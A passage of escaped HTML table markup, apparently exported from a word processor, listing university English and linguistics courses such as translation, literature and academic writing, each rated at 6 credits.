margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL\r\n  216</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:17.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ESP (economic/engineering/education/social)</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:17.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 218</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:22.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Academic Language Skills</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:22.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 201</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:17.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>English Grammar pre-advanced</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:17.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 202</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:16.15pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>English Grammar advanced</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:16.15pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 206</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ESL pre-advanced</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 207</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Introduction to translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL\r\n  212</em><em></em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>English\r\n  for Currents Events</em><em></em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LING 215</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Introduction to Linguistics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:19.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL 217</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ESL\r\n  advanced</em><em></em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 301</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Translation Practice</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 309</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>English Composition</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 315</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>English through movies</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 316</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Advanced English Vocabulary</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 322</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Lexicology</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 325</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Communicative English</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 326</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>British Studies</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 326</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>American Studies</em></p></td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 331</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>W. Shakespeare then and now</em></p></td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 335</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:20.65pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Academic Writing</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:20.65pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 413</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:3.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Proverbs Interpretation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:3.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 415</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>British Literature 1</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 415</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>American literature</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 416</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>British Literature 2</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 417</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>World Literature</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 418</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>World English</em></p></td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL 419</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>Creative Writing</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 420</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 